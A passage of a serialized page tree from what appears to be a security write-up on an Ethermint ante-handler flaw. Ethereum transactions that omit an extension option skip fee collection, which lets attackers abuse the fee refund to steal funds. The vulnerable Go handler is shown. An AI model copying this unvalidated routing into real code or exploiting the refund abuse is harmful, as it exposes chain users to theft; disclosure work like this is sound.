contract.",{"type":24,"tag":25,"props":79467,"children":79468},{},[79469,79471,79476,79478,79483,79485,79491,79493,79499,79501,79506,79508,79513],{"type":29,"value":79470},"In this scenario, ",{"type":24,"tag":32,"props":79472,"children":79474},{"className":79473},[],[79475],{"type":29,"value":79430},{"type":29,"value":79477}," are multiplexed to different ",{"type":24,"tag":32,"props":79479,"children":79481},{"className":79480},[],[79482],{"type":29,"value":78185},{"type":29,"value":79484}," sets through the user-controlled ",{"type":24,"tag":32,"props":79486,"children":79488},{"className":79487},[],[79489],{"type":29,"value":79490},"ExtensionOptionsEthereumTx",{"type":29,"value":79492}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":32,"props":79494,"children":79496},{"className":79495},[],[79497],{"type":29,"value":79498},"MsgEthereumTx",{"type":29,"value":79500}," does not have ",{"type":24,"tag":32,"props":79502,"children":79504},{"className":79503},[],[79505],{"type":29,"value":79490},{"type":29,"value":79507}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":32,"props":79509,"children":79511},{"className":79510},[],[79512],{"type":29,"value":78933},{"type":29,"value":79514},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":79516,"children":79517},{},[79518],{"type":24,"tag":2033,"props":79519,"children":79522},{"href":79520,"rel":79521},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[2037],[79523],{"type":29,"value":76454},{"type":24,"tag":73,"props":79525,"children":79527},{"code":79526,"language":75879,"meta":7,"className":75880,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[79528],{"type":24,"tag":32,"props":79529,"children":79530},{"__ignoreMap":7},[79531,79547,79572,79596,79613,79638,79664,79689,79712,79728,79784,79825,79851,79858,79904,79911,79957,79973,80003,80038,80090,80107,80115,80122,80151,80167,80175,80201,80209,80216,80228,80262,80308,80320,80327,80334,80341,80380,80387,80394,80401,80409,80416,80440,80464,80492,80517,80525,80558,80565,80577,80608,80663,80676,80684,80692,80700,80740,80748],{"type":24,"tag":83,"props":79532,"children":79533},{"class":85,"line":86},[79534,79538,79543],{"type":24,"tag":83,"props":79535,"children":79536},{"style":90},[79537],{"type":29,"value":76015},{"type":24,"tag":83,"props":79539,"children":79540},{"style":101},[79541],{"type":29,"value":79542}," NewAnteHandler",{"type":24,"tag":83,"props":79544,"children":79545},{"style":107},[79546],{"type":29,"value":3208},{"type":24,"tag":83,"props":79548,"children":79549},{"class":85,"line":113},[79550,79555,79560,79564,79568],{"type":24,"tag":83,"props":79551,"children":79552},{"style":137},[79553],{"type":29,"value":79554},"    ak",{"type":24,"tag":83,"props":79556,"children":79557},{"style":3163},[79558],{"type":29,"value":79559}," evmtypes",{"type":24,"tag":83,"props":79561,"children":79562},{"style":107},[79563],{"type":29,"value":161},{"type":24,"tag":83,"props":79565,"children":79566},{"style":3163},[79567],{"type":29,"value":79095},{"type":24,"tag":83,"props":79569,"children":79570},{"style":107},[79571],{"type":29,"value":989},{"type":24,"tag":83,"props":79573,"children":79574},{"class":85,"line":128},[79575,79580,79584,79588,79592],{"type":24,"tag":83,"props":79576,"children":79577},{"style":137},[79578],{"type":29,"value":79579},"    bankKeeper",{"type":24,"tag":83,"props":79581,"children":79582},{"style":3163},[79583],{"type":29,"value":79559},{"type":24,"tag":83,"props":79585,"children":79586},{"style":107},[79587],{"type":29,"value":161},{"type":24,"tag":83,"props":79589,"children":79590},{"style":3163},[79591],{"type":29,"value":79168},{"type":24,"tag":83,"props":79593,"children":79594},{"style":107},[79595],{"type":29,"value":989},{"type":24,"tag":83,"props":79597,"children":79598},{"class":85,"line":183},[79599,79604,79609],{"type":24,"tag":83,"props":79600,"children":79601},{"style":137},[79602],{"type":29,"value":79603},"    evmKeeper",{"type":24,"tag":83,"props":79605,"children":79606},{"style":3163},[79607],{"type":29,"value":79608}," EVMKeeper",{"type":24,"tag":83,"props":79610,"children":79611},{"style":107},[79612],{"type":29,"value":989},{"type":24,"tag":83,"props":79614,"children":79615},{"class":85,"line":203},[79616,79621,79626,79630,79634],{"type":24,"tag":83,"props":79617,"children":79618},{"style":137},[79619],{"type":29,"value":79620},"    feeGrantKeeper",{"type":24,"tag":83,"props":79622,"children":79623},{"style":3163},[79624],{"type":29,"value":79625}," authante",{"type":24,"tag":83,"props":79627,"children":79628},{"style":107},[79629],{"type":29,"value":161},{"type":24,"tag":83,"props":79631,"children":79632},{"style":3163},[79633],{"type":29,"value":79185},{"type":24,"tag":83,"props":79635,"children":79636},{"style":107},[79637],{"type":29,"value":989},{"type":24,"tag":83,"props":79639,"children":79640},{"class":85,"line":212},[79641,79646,79651,79655,79660],{"type":24,"tag":83,"props":79642,"children":79643},{"style":137},[79644],{"type":29,"value":79645},"    channelKeeper",{"type":24,"tag":83,"props":79647,"children":79648},{"style":3163},[79649],{"type":29,"value":79650}," channelkeeper",{"type":24,"tag":83,"props":79652,"children":79653},{"style":107},[79654],{"type":29,"value":161},{"type":24,"tag":83,"props":79656,"children":79657},{"style":3163},[79658],{"type":29,"value":79659},"Keeper",{"type":24,"tag":83,"props":79661,"children":79662},{"style":107},[79663],{"type":29,"value":989},{"type":24,"tag":83,"props":79665,"children":79666},{"class":85,"line":256},[79667,79672,79677,79681,79685],{"type":24,"tag":83,"props":79668,"children":79669},{"style":137},[79670],{"type":29,"value":79671},"    signModeHandler",{"type":24,"tag":83,"props":79673,"children":79674},{"style":3163},[79675],{"type":29,"value":79676}," authsigning",{"type":24,"tag":83,"props":79678,"children":79679},{"style":107},[79680],{"type":29,"value":161},{"type":24,"tag":83,"props":79682,"children":79683},{"style":3163},[79684],{"type":29,"value":79353},{"type":24,"tag":83,"props":79686,"children":79687},{"style":107},[79688],{"type":29,"value":989},{"type":24,"tag":83,"props":79690,"children":79691},{"class":85,"line":270},[79692,79696,79700,79704,79708],{"type":24,"tag":83,"props":79693,"children":79694},{"style":107},[79695],{"type":29,"value":633},{"type":24,"tag":83,"props":79697,"children":79698},{"style":3163},[79699],{"type":29,"value":78444},{"type":24,"tag":83,"props":79701,"children":79702},{"style":107},[79703],{"type":29,"value":161},{"type":24,"tag":83,"props":79705,"children":79706},{"style":3163},[79707],{"type":29,"value":78185},{"type":24,"tag":83,"props":79709,"children":79710},{"style":107},[79711],{"type":29,"value":125},{"type":24,"tag":83,"props":79713,"children":79714},{"class":85,"line":302},[79715,79719,79724],{"type":24,"tag":83,"props":79716,"children":79717},{"style":117},[79718],{"type":29,"value":16725},{"type":24,"tag":83,"props":79720,"children":79721},{"style":90},[79722],{"type":29,"value":79723}," func",{"type":24,"tag":83,"props":79725,"children":79726},{"style":107},[79727],{"type":29,"value":3208},{"type":24,"tag":83,"props":79729,"children":79730},{"class":85,"line":324},[79731,79735,79739,79743,79747,79751,79755,79759,79763,79767,79771,79776,79780],{"type":24,"tag":83,"props":79732,"children":79733},{"style":137},[79734],{"type":29,"value":25935},{"type":24,"tag":83,"props":79736,"children":79737},{"style":3163},[79738],{"type":29,"value":78355},{"type":24,"tag":83,"props":79740,"children":79741},{"style":107},[79742],{"type":29,"value":161},{"type":24,"tag":83,"props":79744,"children":79745},{"style":3163},[79746],{"type":29,"value":76064},{"type":24,"tag":83,"props":79748,"children":79749},{"style":107},[79750],{"type":29,"value":568},{"type":24,"tag":83,"props":79752,"children":79753},{"style":137},[79754],{"type":29,"value":78895},{"type":24,"tag":83,"props":79756,"children":79757},{"style":3163},[79758],{"type":29,"value":78355},{"type":24,"tag":83,"props":79760,"children":79761},{"style":107},[79762],{"type":29,"value":161},{"type":24,"tag":83,"props":79764,"children":79765},{"style":3163},[79766],{"type":29,"value":78388},{"type":24,"tag":83,"props":79768,"children":79769},{"style":107},[79770],{"type":29,"value":568},{"type":24,"tag":83,"props":79772,"children":79773},{"style":137},[79774],{"type":29,"value":79775},"sim",{"type":24,"tag":83,"props":79777,"children":79778},{"style":3163},[79779],{"type":29,"value":11797},{"type":24,"tag":83,"props":79781,"children":79782},{"style":107},[79783],{"type":29,"value":989},{"type":24,"tag":83,"props":79785,"children":79786},{"class":85,"line":345},[79787,79792,79797,79801,79805,79809,79813,79817,79821],{"type":24,"tag":83,"props":79788,"children":79789},{"style":107},[79790],{"type":29,"value":79791},"    ) (",{"type":24,"tag":83,"props":79793,"children":79794},{"style":137},[79795],{"type":29,"value":79796},"newCtx",{"type":24,"tag":83,"props":79798,"children":79799},{"style":3163},[79800],{"type":29,"value":78355},{"type":24,"tag":83,"props":79802,"children":79803},{"style":107},[79804],{"type":29,"value":161},{"type":24,"tag":83,"props":79806,"children":79807},{"style":3163},[79808],{"type":29,"value":76064},{"type":24,"tag":83,"props":79810,"children":79811},{"style":107},[79812],{"type":29,"value":568},{"type":24,"tag":83,"props":79814,"children":79815},{"style":137},[79816],{"type":29,"value":48138},{"type":24,"tag":83,"props":79818,"children":79819},{"style":3163},[79820],{"type":29,"value":14619},{"type":24,"tag":83,"props":79822,"children":79823},{"style":107},[79824],{"type":29,"value":253},{"type":24,"tag":83,"props":79826,"children":79827},{"class":85,"line":358},[79828,79833,79838,79842,79846],{"type":24,"tag":83,"props":79829,"children":79830},{"style":90},[79831],{"type":29,"value":79832},"        var",{"type":24,"tag":83,"props":79834,"children":79835},{"style":137},[79836],{"type":29,"value":79837}," anteHandler",{"type":24,"tag":83,"props":79839,"children":79840},{"style":3163},[79841],{"type":29,"value":78355},{"type":24,"tag":83,"props":79843,"children":79844},{"style":107},[79845],{"type":29,"value":161},{"type":24,"tag":83,"props":79847,"children":79848},{"style":3163},[79849],{"type":29,"value":79850},"AnteHandler\n",{"type":24,"tag":83,"props":79852,"children":79853},{"class":85,"line":367},[79854],{"type":24,"tag":83,"props":79855,"children":79856},{"emptyLinePlaceholder":16},[79857],{"type":29,"value":3422},{"type":24,"tag":83,"props":79859,"children":79860},{"class":85,"line":406},[79861,79866,79871,79875,79879,79883,79888,79892,79896,79900],{"type":24,"tag":83,"props":79862,"children":79863},{"style":117},[79864],{"type":29,"value":79865},"        defer",{"type":24,"tag":83,"props":79867,"children":79868},{"style":101},[79869],{"type":29,"value":79870}," Recover",{"type":24,"tag":83,"props":79872,"children":79873},{"style":107},[79874],{"type":29,"value":558},{"type":24,"tag":83,"props":79876,"children":79877},{"style":137},[79878],{"type":29,"value":20021},{"type":24,"tag":83,"props":79880,"children":79881},{"style":107},[79882],{"type":29,"value":161},{"type":24,"tag":83,"props":79884,"children":79885},{"style":101},[79886],{"type":29,"value":79887},"Logger",{"type":24,"tag":83,"props":79889,"children":79890},{"style":107},[79891],{"type":29,"value":18112},{"type":24,"tag":83,"props":79893,"children":79894},{"style":143},[79895],{"type":29,"value":2853},{"type":24,"tag":83,"props":79897,"children":79898},{"style":137},[79899],{"type":29,"value":48138},{"type":24,"tag":83,"props":79901,"children":79902},{"style":107},[79903],{"type":29,"value":2905},{"type":24,"tag":83,"props":79905,"children":79906},{"class":85,"line":427},[79907],{"type":24,"tag":83,"props":79908,"children":79909},{"emptyLinePlaceholder":16},[79910],{"type":29,"value":3422},{"type":24,"tag":83,"props":79912,"children":79913},{"class":85,"line":440},[79914,79919,79923,79927,79931,79935,79939,79944,79948,79953],{"type":24,"tag":83,"props":79915,"children":79916},{"style":137},[79917],{"type":29,"value":79918},"        txWithExtensions",{"type":24,"tag":83,"props":79920,"children":79921},{"style":107},[79922],{"type":29,"value":568},{"type":24,"tag":83,"props":79924,"children":79925},{"style":137},[79926],{"type":29,"value":78481},{"type":24,"tag":83,"props":79928,"children":79929},{"style":143},[79930],{"type":29,"value":76131},{"type":24,"tag":83,"props":79932,"children":79933},{"style":137},[79934],{"type":29,"value":67743},{"type":24,"tag":83,"props":79936,"children":79937},{"style":107},[79938],{"type":29,"value":78494},{"type":24,"tag":83,"props":79940,"children":79941},{"style":3163},[79942],{"type":29,"value":79943},"authante",{"type":24,"tag":83,"props":79945,"children":79946},{"style":107},[79947],{"type":29,"value":161},{"type":24,"tag":83,"props":79949,"children":79950},{"style":3163},[79951],{"type":29,"value":79952},"HasExtensionOptionsTx",{"type":24,"tag":83,"props":79954,"children":79955},{"style":107},[79956],{"type":29,"value":2905},{"type":24,"tag":83,"props":79958,"children":79959},{"class":85,"line":449},[79960,79964,79969],{"type":24,"tag":83,"props":79961,"children":79962},{"style":117},[79963],{"type":29,"value":3018},{"type":24,"tag":83,"props":79965,"children":79966},{"style":137},[79967],{"type":29,"value":79968}," ok",{"type":24,"tag":83,"props":79970,"children":79971},{"style":107},[79972],{"type":29,"value":125},{"type":24,"tag":83,"props":79974,"children":79975},{"class":85,"line":458},[79976,79981,79985,79990,79994,79999],{"type":24,"tag":83,"props":79977,"children":79978},{"style":137},[79979],{"type":29,"value":79980},"            opts",{"type":24,"tag":83,"props":79982,"children":79983},{"style":143},[79984],{"type":29,"value":76131},{"type":24,"tag":83,"props":79986,"children":79987},{"style":137},[79988],{"type":29,"value":79989}," txWithExtensions",{"type":24,"tag":83,"props":79991,"children":79992},{"style":107},[79993],{"type":29,"value":161},{"type":24,"tag":83,"props":79995,"children":79996},{"style":101},[79997],{"type":29,"value":79998},"GetExtensionOptions",{"type":24,"tag":83,"props":80000,"children":80001},{"style":107},[80002],{"type":29,"value":7483},{"type":24,"tag":83,"props":80004,"children":80005},{"class":85,"line":1065},[80006,80010,80014,80018,80022,80026,80030,80034],{"type":24,"tag":83,"props":80007,"children":80008},{"style":117},[80009],{"type":29,"value":58515},{"type":24,"tag":83,"props":80011,"children":80012},{"style":101},[80013],{"type":29,"value":8302},{"type":24,"tag":83,"props":80015,"children":80016},{"style":107},[80017],{"type":29,"value":558},{"type":24,"tag":83,"props":80019,"children":80020},{"style":137},[80021],{"type":29,"value":48280},{"type":24,"tag":83,"props":80023,"children":80024},{"style":107},[80025],{"type":29,"value":633},{"type":24,"tag":83,"props":80027,"children":80028},{"style":143},[80029],{"type":29,"value":10209},{"type":24,"tag":83,"props":80031,"children":80032},{"style":245},[80033],{"type":29,"value":248},{"type":24,"tag":83,"props":80035,"children":80036},{"style":107},[80037],{"type":29,"value":125},{"type":24,"tag":83,"props":80039,"children":80040},{"class":85,"line":1668},[80041,80046,80051,80055,80060,80064,80068,80072,80077,80081,80086],{"type":24,"tag":83,"props":80042,"children":80043},{"style":117},[80044],{"type":29,"value":80045},"                switch",{"type":24,"tag":83,"props":80047,"children":80048},{"style":137},[80049],{"type":29,"value":80050}," typeURL",{"type":24,"tag":83,"props":80052,"children":80053},{"style":143},[80054],{"type":29,"value":76131},{"type":24,"tag":83,"props":80056,"children":80057},{"style":137},[80058],{"type":29,"value":80059}," opts",{"type":24,"tag":83,"props":80061,"children":80062},{"style":107},[80063],{"type":29,"value":1161},{"type":24,"tag":83,"props":80065,"children":80066},{"style":245},[80067],{"type":29,"value":1166},{"type":24,"tag":83,"props":80069,"children":80070},{"style":107},[80071],{"type":29,"value":1657},{"type":24,"tag":83,"props":80073,"children":80074},{"style":101},[80075],{"type":29,"value":80076},"GetTypeUrl",{"type":24,"tag":83,"props":80078,"children":80079},{"style":107},[80080],{"type":29,"value":28198},{"type":24,"tag":83,"props":80082,"children":80083},{"style":137},[80084],{"type":29,"value":80085},"typeURL",{"type":24,"tag":83,"props":80087,"children":80088},{"style":107},[80089],{"type":29,"value":125},{"type":24,"tag":83,"props":80091,"children":80092},{"class":85,"line":1713},[80093,80098,80103],{"type":24,"tag":83,"props":80094,"children":80095},{"style":117},[80096],{"type":29,"value":80097},"                case",{"type":24,"tag":83,"props":80099,"children":80100},{"style":187},[80101],{"type":29,"value":80102}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":83,"props":80104,"children":80105},{"style":107},[80106],{"type":29,"value":5313},{"type":24,"tag":83,"props":80108,"children":80109},{"class":85,"line":1730},[80110],{"type":24,"tag":83,"props":80111,"children":80112},{"style":2735},[80113],{"type":29,"value":80114},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":83,"props":80116,"children":80117},{"class":85,"line":1770},[80118],{"type":24,"tag":83,"props":80119,"children":80120},{"emptyLinePlaceholder":16},[80121],{"type":29,"value":3422},{"type":24,"tag":83,"props":80123,"children":80124},{"class":85,"line":1778},[80125,80130,80134,80138,80142,80147],{"type":24,"tag":83,"props":80126,"children":80127},{"style":137},[80128],{"type":29,"value":80129},"                    anteHandler",{"type":24,"tag":83,"props":80131,"children":80132},{"style":143},[80133],{"type":29,"value":146},{"type":24,"tag":83,"props":80135,"children":80136},{"style":137},[80137],{"type":29,"value":78355},{"type":24,"tag":83,"props":80139,"children":80140},{"style":107},[80141],{"type":29,"value":161},{"type":24,"tag":83,"props":80143,"children":80144},{"style":101},[80145],{"type":29,"value":80146},"ChainAnteDecorators",{"type":24,"tag":83,"props":80148,"children":80149},{"style":107},[80150],{"type":29,"value":3208},{"type":24,"tag":83,"props":80152,"children":80153},{"class":85,"line":1803},[80154,80159,80163],{"type":24,"tag":83,"props":80155,"children":80156},{"style":101},[80157],{"type":29,"value":80158},"                        NewEthSetUpContextDecorator",{"type":24,"tag":83,"props":80160,"children":80161},{"style":107},[80162],{"type":29,"value":18112},{"type":24,"tag":83,"props":80164,"children":80165},{"style":2735},[80166],{"type":29,"value":79009},{"type":24,"tag":83,"props":80168,"children":80169},{"class":85,"line":1811},[80170],{"type":24,"tag":83,"props":80171,"children":80172},{"style":143},[80173],{"type":29,"value":80174},"                        ...\n",{"type":24,"tag":83,"props":80176,"children":80177},{"class":85,"line":8792},[80178,80183,80187,80192,80196],{"type":24,"tag":83,"props":80179,"children":80180},{"style":101},[80181],{"type":29,"value":80182},"                        NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":83,"props":80184,"children":80185},{"style":107},[80186],{"type":29,"value":558},{"type":24,"tag":83,"props":80188,"children":80189},{"style":137},[80190],{"type":29,"value":80191},"ak",{"type":24,"tag":83,"props":80193,"children":80194},{"style":107},[80195],{"type":29,"value":14918},{"type":24,"tag":83,"props":80197,"children":80198},{"style":2735},[80199],{"type":29,"value":80200},"// innermost AnteDecorator.\n",{"type":24,"tag":83,"props":80202,"children":80203},{"class":85,"line":8810},[80204],{"type":24,"tag":83,"props":80205,"children":80206},{"style":107},[80207],{"type":29,"value":80208},"                    )\n",{"type":24,"tag":83,"props":80210,"children":80211},{"class":85,"line":8855},[80212],{"type":24,"tag":83,"props":80213,"children":80214},{"emptyLinePlaceholder":16},[80215],{"type":29,"value":3422},{"type":24,"tag":83,"props":80217,"children":80218},{"class":85,"line":8961},[80219,80224],{"type":24,"tag":83,"props":80220,"children":80221},{"style":117},[80222],{"type":29,"value":80223},"                default",{"type":24,"tag":83,"props":80225,"children":80226},{"style":107},[80227],{"type":29,"value":5313},{"type":24,"tag":83,"props":80229,"children":80230},{"class":85,"line":23248},[80231,80236,80240,80244,80249,80253,80258],{"type":24,"tag":83,"props":80232,"children":80233},{"style":117},[80234],{"type":29,"value":80235},"                    return",{"type":24,"tag":83,"props":80237,"children":80238},{"style":137},[80239],{"type":29,"value":25592},{"type":24,"tag":83,"props":80241,"children":80242},{"style":107},[80243],{"type":29,"value":568},{"type":24,"tag":83,"props":80245,"children":80246},{"style":137},[80247],{"type":29,"value":80248},"stacktrace",{"type":24,"tag":83,"props":80250,"children":80251},{"style":107},[80252],{"type":29,"value":161},{"type":24,"tag":83,"props":80254,"children":80255},{"style":101},[80256],{"type":29,"value":80257},"Propagate",{"type":24,"tag":83,"props":80259,"children":80260},{"style":107},[80261],{"type":29,"value":3208},{"type":24,"tag":83,"props":80263,"children":80264},{"class":85,"line":23283},[80265,80270,80274,80278,80282,80287,80291,80296,80300,80304],{"type":24,"tag":83,"props":80266,"children":80267},{"style":137},[80268],{"type":29,"value":80269},"                        sdkerrors",{"type":24,"tag":83,"props":80271,"children":80272},{"style":107},[80273],{"type":29,"value":161},{"type":24,"tag":83,"props":80275,"children":80276},{"style":101},[80277],{"type":29,"value":78560},{"type":24,"tag":83,"props":80279,"children":80280},{"style":107},[80281],{"type":29,"value":558},{"type":24,"tag":83,"props":80283,"children":80284},{"style":137},[80285],{"type":29,"value":80286},"sdkerrors",{"type":24,"tag":83,"props":80288,"children":80289},{"style":107},[80290],{"type":29,"value":161},{"type":24,"tag":83,"props":80292,"children":80293},{"style":137},[80294],{"type":29,"value":80295},"ErrUnknownExtensionOptions",{"type":24,"tag":83,"props":80297,"children":80298},{"style":107},[80299],{"type":29,"value":568},{"type":24,"tag":83,"props":80301,"children":80302},{"style":137},[80303],{"type":29,"value":80085},{"type":24,"tag":83,"props":80305,"children":80306},{"style":107},[80307],{"type":29,"value":6483},{"type":24,"tag":83,"props":80309,"children":80310},{"class":85,"line":23291},[80311,80316],{"type":24,"tag":83,"props":80312,"children":80313},{"style":187},[80314],{"type":29,"value":80315},"                        \"rejecting tx with unsupported extension option\"",{"type":24,"tag":83,"props":80317,"children":80318},{"style":107},[80319],{"type":29,"value":989},{"type":24,"tag":83,"props":80321,"children":80322},{"class":85,"line":23299},[80323],{"type":24,"tag":83,"props":80324,"children":80325},{"style":107},[80326],{"type":29,"value":80208},{"type":24,"tag":83,"props":80328,"children":80329},{"class":85,"line":23308},[80330],{"type":24,"tag":83,"props":80331,"children":80332},{"style":107},[80333],{"type":29,"value":70786},{"type":24,"tag":83,"props":80335,"children":80336},{"class":85,"line":23350},[80337],{"type":24,"tag":83,"props":80338,"children":80339},{"emptyLinePlaceholder":16},[80340],{"type":29,"value":3422},{"type":24,"tag":83,"props":80342,"children":80343},{"class":85,"line":23383},[80344,80348,80352,80356,80360,80364,80368,80372,80376],{"type":24,"tag":83,"props":80345,"children":80346},{"style":117},[80347],{"type":29,"value":60443},{"type":24,"tag":83,"props":80349,"children":80350},{"style":101},[80351],{"type":29,"value":79837},{"type":24,"tag":83,"props":80353,"children":80354},{"style":107},[80355],{"type":29,"value":558},{"type":24,"tag":83,"props":80357,"children":80358},{"style":137},[80359],{"type":29,"value":20021},{"type":24,"tag":83,"props":80361,"children":80362},{"style":107},[80363],{"type":29,"value":568},{"type":24,"tag":83,"props":80365,"children":80366},{"style":137},[80367],{"type":29,"value":78895},{"type":24,"tag":83,"props":80369,"children":80370},{"style":107},[80371],{"type":29,"value":568},{"type":24,"tag":83,"props":80373,"children":80374},{"style":137},[80375],{"type":29,"value":79775},{"type":24,"tag":83,"props":80377,"children":80378},{"style":107},[80379],{"type":29,"value":2905},{"type":24,"tag":83,"props":80381,"children":80382},{"class":85,"line":23391},[80383],{"type":24,"tag":83,"props":80384,"children":80385},{"style":107},[80386],{"type":29,"value":58599},{"type":24,"tag":83,"props":80388,"children":80389},{"class":85,"line":23399},[80390],{"type":24,"tag":83,"props":80391,"children":80392},{"style":107},[80393],{"type":29,"value":3092},{"type":24,"tag":83,"props":80395,"children":80396},{"class":85,"line":23408},[80397],{"type":24,"tag":83,"props":80398,"children":80399},{"emptyLinePlaceholder":16},[80400],{"type":29,"value":3422},{"type":24,"tag":83,"props":80402,"children":80403},{"class":85,"line":23484},[80404],{"type":24,"tag":83,"props":80405,"children":80406},{"style":2735},[80407],{"type":29,"value":80408},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":83,"props":80410,"children":80411},{"class":85,"line":23517},[80412],{"type":24,"tag":83,"props":80413,"children":80414},{"emptyLinePlaceholder":16},[80415],{"type":29,"value":3422},{"type":24,"tag":83,"props":80417,"children":80418},{"class":85,"line":23525},[80419,80424,80428,80432,80436],{"type":24,"tag":83,"props":80420,"children":80421},{"style":117},[80422],{"type":29,"value":80423},"        switch",{"type":24,"tag":83,"props":80425,"children":80426},{"style":137},[80427],{"type":29,"value":67743},{"type":24,"tag":83,"props":80429,"children":80430},{"style":107},[80431],{"type":29,"value":78494},{"type":24,"tag":83,"props":80433,"children":80434},{"style":90},[80435],{"type":29,"value":32495},{"type":24,"tag":83,"props":80437,"children":80438},{"style":107},[80439],{"type":29,"value":253},{"type":24,"tag":83,"props":80441,"children":80442},{"class":85,"line":23533},[80443,80448,80452,80456,80460],{"type":24,"tag":83,"props":80444,"children":80445},{"style":117},[80446],{"type":29,"value":80447},"        case",{"type":24,"tag":83,"props":80449,"children":80450},{"style":3163},[80451],{"type":29,"value":78355},{"type":24,"tag":83,"props":80453,"children":80454},{"style":107},[80455],{"type":29,"value":161},{"type":24,"tag":83,"props":80457,"children":80458},{"style":3163},[80459],{"type":29,"value":78388},{"type":24,"tag":83,"props":80461,"children":80462},{"style":107},[80463],{"type":29,"value":5313},{"type":24,"tag":83,"props":80465,"children":80466},{"class":85,"line":23570},[80467,80472,80476,80480,80484,80488],{"type":24,"tag":83,"props":80468,"children":80469},{"style":137},[80470],{"type":29,"value":80471},"            anteHandler",{"type":24,"tag":83,"props":80473,"children":80474},{"style":143},[80475],{"type":29,"value":146},{"type":24,"tag":83,"props":80477,"children":80478},{"style":137},[80479],{"type":29,"value":78355},{"type":24,"tag":83,"props":80481,"children":80482},{"style":107},[80483],{"type":29,"value":161},{"type":24,"tag":83,"props":80485,"children":80486},{"style":101},[80487],{"type":29,"value":80146},{"type":24,"tag":83,"props":80489,"children":80490},{"style":107},[80491],{"type":29,"value":3208},{"type":24,"tag":83,"props":80493,"children":80494},{"class":85,"line":23583},[80495,80500,80504,80509,80513],{"type":24,"tag":83,"props":80496,"children":80497},{"style":137},[80498],{"type":29,"value":80499},"                authante",{"type":24,"tag":83,"props":80501,"children":80502},{"style":107},[80503],{"type":29,"value":161},{"type":24,"tag":83,"props":80505,"children":80506},{"style":101},[80507],{"type":29,"value":80508},"NewSetUpContextDecorator",{"type":24,"tag":83,"props":80510,"children":80511},{"style":107},[80512],{"type":29,"value":18112},{"type":24,"tag":83,"props":80514,"children":80515},{"style":2735},[80516],{"type":29,"value":79009},{"type":24,"tag":83,"props":80518,"children":80519},{"class":85,"line":23596},[80520],{"type":24,"tag":83,"props":80521,"children":80522},{"style":143},[80523],{"type":29,"value":80524},"                 ...\n",{"type":24,"tag":83,"props":80526,"children":80527},{"class":85,"line":23609},[80528,80532,80536,80541,80545,80549,80553],{"type":24,"tag":83,"props":80529,"children":80530},{"style":137},[80531],{"type":29,"value":80499},{"type":24,"tag":83,"props":80533,"children":80534},{"style":107},[80535],{"type":29,"value":161},{"type":24,"tag":83,"props":80537,"children":80538},{"style":101},[80539],{"type":29,"value":80540},"NewIncrementSequenceDecorator",{"type":24,"tag":83,"props":80542,"children":80543},{"style":107},[80544],{"type":29,"value":558},{"type":24,"tag":83,"props":80546,"children":80547},{"style":137},[80548],{"type":29,"value":80191},{"type":24,"tag":83,"props":80550,"children":80551},{"style":107},[80552],{"type":29,"value":14918},{"type":24,"tag":83,"props":80554,"children":80555},{"style":2735},[80556],{"type":29,"value":80557},"// innermost AnteDecorator\n",{"type":24,"tag":83,"props":80559,"children":80560},{"class":85,"line":23663},[80561],{"type":24,"tag":83,"props":80562,"children":80563},{"style":107},[80564],{"type":29,"value":77230},{"type":24,"tag":83,"props":80566,"children":80567},{"class":85,"line":23672},[80568,80573],{"type":24,"tag":83,"props":80569,"children":80570},{"style":117},[80571],{"type":29,"value":80572},"        